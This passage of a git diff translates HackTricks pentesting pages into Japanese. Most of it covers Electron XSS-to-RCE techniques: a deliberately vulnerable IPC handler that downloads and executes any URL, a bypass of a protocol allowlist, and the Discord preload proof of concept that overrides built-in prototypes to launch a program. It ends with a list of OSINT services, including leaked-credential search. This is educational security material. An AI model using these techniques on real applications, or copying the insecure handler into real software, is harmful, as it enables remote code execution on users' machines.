url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %} ![](<../../../.gitbook/assets/image (664).png>) -https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists +https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- 存在しません -Then it goes here: +次に、ここに移動します: ![](<../../../.gitbook/assets/image (647).png>) -Where "self" is Node's process object: +ここで、"self"はNodeのプロセスオブジェクトです: ![](<../../../.gitbook/assets/image (652) (1).png>) -The process object has a references to "require" function: - +プロセスオブジェクトには、"require"関数への参照があります: ``` process.mainModule.require ``` - -As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code: - +handler.callがprocessオブジェクトを受け取るため、任意のコードを実行するためにそれを上書きすることができます。 ```html ``` +## 例2 -## Example 2 +**プロトタイプ汚染からrequireオブジェクトを取得します**。[https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)から。 -Get **require object from prototype pollution**. From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81) - -Leak: +リーク:
-Exploit: +エクスプロイト:
@@ -74,10 +68,10 @@ Exploit: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md index 11b3955f1..d367bbffb 100644 --- a/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md +++ b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-ipc.md @@ -1,129 +1,116 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-If the preload script exposes an IPC endpoint from the main.js file, the renderer process will be able to access it and if vulnerable, a RCE might be possible. +もしpreloadスクリプトがmain.jsファイルからIPCエンドポイントを公開している場合、レンダラープロセスはそれにアクセスでき、脆弱性がある場合はRCEが可能になるかもしれません。 -**All these examples were taken from here** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo) +**これらの例はすべてここから取得されました** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo) -# Example 1 - -Check how the `main.js` listens on `getUpdate` and will **download and execute any URL** passed.\ -Check also how `preload.js` **exposes any IPC** event from main. +# 例1 +`main.js`が`getUpdate`をリッスンし、**渡された任意のURLをダウンロードして実行**する方法を確認してください。\ +また、`preload.js`がmainから**任意のIPCイベントを公開**している方法も確認してください。 ```javascript // Part of code of main.js ipcMain.on('getUpdate', (event, url) => { - console.log('getUpdate: ' + url) - mainWindow.webContents.downloadURL(url) - mainWindow.download_url = url +console.log('getUpdate: ' + url) +mainWindow.webContents.downloadURL(url) +mainWindow.download_url = url }); - + mainWindow.webContents.session.on('will-download', (event, item, webContents) => { - console.log('downloads path=' + app.getPath('downloads')) - console.log('mainWindow.download_url=' + mainWindow.download_url); - url_parts = mainWindow.download_url.split('/') - filename = url_parts[url_parts.length-1] - mainWindow.downloadPath = app.getPath('downloads') + '/' + filename - console.log('downloadPath=' + mainWindow.downloadPath) - // Set the save path, making Electron not to prompt a save dialog. - item.setSavePath(mainWindow.downloadPath) +console.log('downloads path=' + app.getPath('downloads')) +console.log('mainWindow.download_url=' + mainWindow.download_url); +url_parts = mainWindow.download_url.split('/') +filename = url_parts[url_parts.length-1] +mainWindow.downloadPath = app.getPath('downloads') + '/' + filename +console.log('downloadPath=' + mainWindow.downloadPath) +// Set the save path, making Electron not to prompt a save dialog. +item.setSavePath(mainWindow.downloadPath) - item.on('updated', (event, state) => { - if (state === 'interrupted') { - console.log('Download is interrupted but can be resumed') - } - else if (state === 'progressing') { - if (item.isPaused()) console.log('Download is paused') - else console.log(`Received bytes: ${item.getReceivedBytes()}`) - } - }) +item.on('updated', (event, state) => { +if (state === 'interrupted') { +console.log('Download is interrupted but can be resumed') +} +else if (state === 'progressing') { +if (item.isPaused()) console.log('Download is paused') +else console.log(`Received bytes: ${item.getReceivedBytes()}`) +} +}) - item.once('done', (event, state) => { - if (state === 'completed') { - console.log('Download successful, running update') - fs.chmodSync(mainWindow.downloadPath, 0755); - var child = require('child_process').execFile; - child(mainWindow.downloadPath, function(err, data) { - if (err) { console.error(err); return; } - console.log(data.toString()); - }); - } - else console.log(`Download failed: ${state}`) - }) -}) +item.once('done', (event, state) => { +if (state === 'completed') { +console.log('Download successful, running update') +fs.chmodSync(mainWindow.downloadPath, 0755); +var child = require('child_process').execFile; +child(mainWindow.downloadPath, function(err, data) { +if (err) { console.error(err); return; } +console.log(data.toString()); +}); +} +else console.log(`Download failed: ${state}`) +}) +}) ``` ```javascript // Part of code of preload.js window.electronSend = (event, data) => { - ipcRenderer.send(event, data); +ipcRenderer.send(event, data); }; ``` - -Exploit: - +Exploit (脆弱性の悪用): ```html ``` +# 例2 -# Example 2 - -If the preload script exposes directly to the renderer a way t call shell.openExternal its possible to obtains RCE - +もしpreloadスクリプトがレンダラーに直接shell.openExternalを呼び出す方法を公開している場合、RCEを取得することが可能です。 ```javascript // Part of preload.js code window.electronOpenInBrowser = (url) => { - shell.openExternal(url); +shell.openExternal(url); }; ``` +# 例3 -# Example 3 - -Is the preload script exposes ways to completely communicate with the main process, an XSS will be able to send any event. The impact of this depends on what the main process exposes in terms of IPC. - +preloadスクリプトがメインプロセスと完全に通信する方法を公開している場合、XSSは任意のイベントを送信することができます。これの影響は、メインプロセスがIPCで公開している内容に依存します。 ```javascript window.electronListen = (event, cb) => { - ipcRenderer.on(event, cb); +ipcRenderer.on(event, cb); }; window.electronSend = (event, data) => { - ipcRenderer.send(event, data); +ipcRenderer.send(event, data); }; ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md index 86b979c15..1152678a9 100644 --- a/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md +++ b/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md @@ -1,99 +1,91 @@ -# Electron contextIsolation RCE via preload code +# ElectronのcontextIsolationを利用したRCE(リモートコード実行)のpreloadコード
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Example 1 +## 例1 -Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30) +[https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)からの例 -This code open http(s) links with default browser: +このコードは、http(s)リンクをデフォルトのブラウザで開きます: ![](<../../../.gitbook/assets/image (375) (1) (1).png>) -Something like `file:///C:/Windows/systemd32/calc.exe` could be used to execute a calc, the `SAFE_PROTOCOLS.indexOf` is preventing it. - -Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation: +`file:///C:/Windows/systemd32/calc.exe`のようなものを使用してcalcを実行することができますが、`SAFE_PROTOCOLS.indexOf`によって防止されています。 +したがって、攻撃者はXSSまたは任意のページナビゲーションを介してこのJSコードを注入することができます: ```html ``` - -As the call to `SAFE_PROTOCOLS.indexOf` will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit: - +以下は、エレクトロンデスクトップアプリケーションのXSSからRCEへの攻撃手法に関するハッキング書籍からの内容です。`SAFE_PROTOCOLS.indexOf`への呼び出しは常に1337を返すため、攻撃者は保護を回避し、calcを実行することができます。最終的な攻撃手法は以下の通りです。 ```html CLICK ``` +他の方法でプログラムを実行するために、許可を求めるプロンプトが表示されないようにするためのオリジナルのスライドを確認してください。 -Check the original slides for other ways to execute programs without having a prompt asking for permissions. +おそらく、コードをロードして実行する別の方法は、`file://127.0.0.1/electron/rce.jar`のようなものにアクセスすることです。 -Apparently another way to load and execute code is to access something like `file://127.0.0.1/electron/rce.jar` +## 例2: DiscordアプリのRCE -## Example 2: Discord App RCE +例は[https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)から取得しました。 -Example from [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) - -When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, into the web page.\ -Here, I couldn't use modules that can be used for RCE directly, such as _child\_process_ module, but I **found a code where RCE can be achieved by overriding the JavaScript built-in methods** and interfering with the execution of the exposed module. - -The following is the PoC. I was able to confirm that the **calc** application is **popped** up when I c**all the `getGPUDriverVersions` function** which is defined in the module called "_discord\_utils_" from devTools, while **overriding the `RegExp.prototype.test` and `Array.prototype.join`**. +preloadスクリプトをチェックすると、Discordがウェブページに`DiscordNative.nativeModules.requireModule('MODULE-NAME')`を介して呼び出すことができる許可されたモジュールを公開していることがわかりました。\ +ここでは、直接RCEに使用できる_child_process_モジュールなどのモジュールは使用できませんでしたが、**JavaScriptの組み込みメソッドをオーバーライドし、公開されたモジュールの実行に干渉することでRCEが達成できるコードを見つけました**。 +以下はPoCです。DevToolsから"_discord_utils_"というモジュールで定義された`getGPUDriverVersions`関数を呼び出す際に、`RegExp.prototype.test`と`Array.prototype.join`をオーバーライドしながら、**calcアプリケーションが表示されることを確認できました**。 ```javascript RegExp.prototype.test=function(){ - return false; +return false; } Array.prototype.join=function(){ - return "calc"; +return "calc"; } DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); ``` - -The `getGPUDriverVersions` function tries to execute the program by using the "_execa_" library, like the following: - +`getGPUDriverVersions`関数は、以下のように"_execa_"ライブラリを使用してプログラムを実行しようとします。 ```javascript module.exports.getGPUDriverVersions = async () => { - if (process.platform !== 'win32') { - return {}; - } +if (process.platform !== 'win32') { +return {}; +} - const result = {}; - const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; +const result = {}; +const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; - try { - result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); - } catch (e) { - result.nvidia = {error: e.toString()}; - } +try { +result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); +} catch (e) { +result.nvidia = {error: e.toString()}; +} - return result; +return result; }; ``` +通常、_execa_は`nvidiaSmiPath`変数で指定された"_nvidia-smi.exe_"を実行しようとしますが、`RegExp.prototype.test`と`Array.prototype.join`が上書きされているため、**引数は_execa_の内部処理で"_calc_"に置換されます。 -Usually the _execa_ tries to execute "_nvidia-smi.exe_", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, **the argument is replaced to "**_**calc**_**" in the \_execa**\_**'s internal processing**. - -Specifically, the argument is replaced by changing the following two parts. +具体的には、次の2つの部分を変更することで引数が置換されます。 [https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36) @@ -103,14 +95,14 @@ Specifically, the argument is replaced by changing the following two parts. ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**私をフォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/online-platforms-with-api.md b/online-platforms-with-api.md index bc280cf83..8cd4d42f1 100644 --- a/online-platforms-with-api.md +++ b/online-platforms-with-api.md @@ -1,156 +1,143 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
# [ProjectHoneypot](https://www.projecthoneypot.org/) -You can ask if an IP is related to suspicious/malicious activities. Completely free. +IPが不審な/悪意のある活動に関連しているかどうかを尋ねることができます。完全に無料です。 # [**BotScout**](http://botscout.com/api.htm) -Check if the IP address is related to a bot that register accounts. It can also check usernames and emails. Initially free. +IPアドレスがアカウントを登録するボットに関連しているかどうかをチェックできます。ユーザー名やメールアドレスもチェックできます。最初は無料です。 # [Hunter](https://hunter.io/) -Find and verify emails. -Some free API requests free, for more you need to pay. -Commercial? +メールアドレスを検索して確認できます。 +一部のAPIリクエストは無料ですが、それ以上の場合は支払う必要があります。 +商用? # [AlientVault](https://otx.alienvault.com/api) -Find Malicious activities related to IPs and Domains. Free. +IPとドメインに関連する悪意のある活動を見つけることができます。無料です。 # [Clearbit](https://dashboard.clearbit.com/) -Find related personal data to a email \(profiles on other platforms\), domain \(basic company info ,mails and people working\) and companies \(get company info from mail\). -You need to pay to access all the possibilities. -Commercial? +メールに関連する個人データ(他のプラットフォームのプロファイル)、ドメイン(基本的な会社情報、メール、従業員情報)、会社(メールから会社情報を取得)を見つけることができます。 +すべての機能にアクセスするには支払う必要があります。 +商用? # [BuiltWith](https://builtwith.com/) -Technologies used by webs. Expensive... -Commercial? +ウェブサイトで使用されている技術を見つけることができます。高価です... +商用? # [Fraudguard](https://fraudguard.io/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. -Commercial? +ホスト(ドメインまたはIP)が不審な/悪意のある活動と関連しているかどうかをチェックできます。一部の無料APIアクセスがあります。 +商用? # [FortiGuard](https://fortiguard.com/) -Check if a host \(domain or IP\) is related with suspicious/malicious activities. Have some free API access. +ホスト(ドメインまたはIP)が不審な/悪意のある活動と関連しているかどうかをチェックできます。一部の無料APIアクセスがあります。 # [SpamCop](https://www.spamcop.net/) -Indicates if host is related to spam activity. Have some free API access. +ホストがスパム活動と関連しているかどうかを示します。一部の無料APIアクセスがあります。 # [mywot](https://www.mywot.com/) -Based on opinions and other metrics get if a domain is related with suspicious/malicious information. +意見や他の指標に基づいて、ドメインが不審な/悪意のある情報と関連しているかどうかを取得します。 # [ipinfo](https://ipinfo.io/) -Obtains basic info from an IP address. You can test up to 100K/month. +IPアドレスから基本情報を取得します。1ヶ月に最大10万回テストできます。 # [securitytrails](https://securitytrails.com/app/account) -This platform give information about domains and IP addresses like domains inside an IP or inside a domain server, domains owned by an email \(find related domains\), IP history of domains \(find the host behind CloudFlare\), all domains using a nameserver.... -You have some free access. +このプラットフォームは、ドメインやIPアドレスに関する情報を提供します。IP内またはドメインサーバー内のドメイン、メールを使用して所有されているドメイン(関連するドメインを見つける)、ドメインのIP履歴(CloudFlareの背後にあるホストを見つける)、名前サーバーを使用しているすべてのドメインなどです。 +一部の無料アクセスがあります。 # [fullcontact](https://www.fullcontact.com/) -Allows to search by email, domain or company name and retrieve "personal" information related. It can also verify emails. There is some free access. +メール、ドメイン、または会社名で検索し、関連する「個人」情報を取得することができます。メールの検証もできます。一部の無料アクセスがあります。 # [RiskIQ](https://www.spiderfoot.net/documentation/) -A lot of information from domains and IPs even in the free/community version. +ドメインやIPに関する多くの情報が無料/コミュニティバージョンでも提供されています。 # [\_IntelligenceX](https://intelx.io/) -Search Domains, IPs and emails and get info from dumps. Have some free access. +ドメイン、IP、メールを検索し、ダンプから情報を取得することができます。一部の無料アクセスがあります。 # [IBM X-Force Exchange](https://exchange.xforce.ibmcloud.com/) -Search by IP and gather information related to suspicions activities. There is some free access. +IPで検索し、不審な活動に関連する情報を収集します。一部の無料アクセスがあります。 # [Greynoise](https://viz.greynoise.io/) -Search by IP or IP range and get information about IPs scanning the Internet. 15 days free access. +IPまたはIP範囲で検索し、インターネットをスキャンしているIPに関する情報を取得します。15日間の無料アクセスがあります。 # [Shodan](https://www.shodan.io/) -Get scan information of an IP address. Have some free api access. +IPアドレスのスキャン情報を取得します。一部の無料APIアクセスがあります。 # [Censys](https://censys.io/) -Very similar to shodan +Shodanと非常に似ています。 # [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) -Find open S3 buckets searching by keyword. +キーワードで検索してオープンなS3バケットを見つけることができます。 # [Dehashed](https://www.dehashed.com/data) -Find leaked credentials of emails and even domains -Commercial? +メールやドメインの漏洩した資格情報を見つけることができます。 +商用? # [psbdmp](https://psbdmp.ws/) -Search pastebins where a email appeared. Commercial? 